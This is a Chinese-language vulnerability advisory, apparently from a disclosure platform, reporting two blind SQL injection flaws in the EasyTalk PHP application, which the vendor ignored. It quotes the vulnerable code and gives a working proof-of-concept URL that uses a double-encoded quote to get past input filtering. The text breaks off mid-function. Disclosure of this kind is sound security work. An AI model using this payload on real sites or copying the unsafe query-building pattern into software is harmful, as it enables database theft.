漏洞详情

披露状态:

2014-10-11: 细节已通知厂商并且等待厂商处理中
2014-10-16: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

easytalk两枚sql盲注

详细说明:

1.Home\Lib\Action\SearchAction.class.php第22行代码中
$keyword=urldecode(trim(htmlspecialchars($_REQUEST['keyword'])));
keyword参数进行了urldecode操作。绕过全局gpc的过滤,导致注入。由于字符限制导致注入较为鸡肋
http://127.0.0.1/easytalk/?m=search&type=user&keyword=%2527and%20mid%28VERSION%28%29,1,1%29=5%23
可输出数据

原理同上。urldecode导致绕过全局gpc

public function topic() {
$keyword=$this->_get('keyword','urldecode');

$topic = D('Topic')->where("topicname='$keyword'")->find();
if ($topic) {
$isfollow=D('Mytopic')->isfollow($topic['id'],$this->my['user_id']);

//getwidget
$widget=M('Topicwidget')->where("topicid='$topic[id]'")->order('`order` ASC')->select();
if ($widget) {
foreach ($widget as $val) {
$topicwidget[$val['widgettype']][]=$val;
}
}
$this->assign('topicwidget',$topicwidget);
} else {
$count=$isfollow=0;

$this->assign('comefrom','topic');
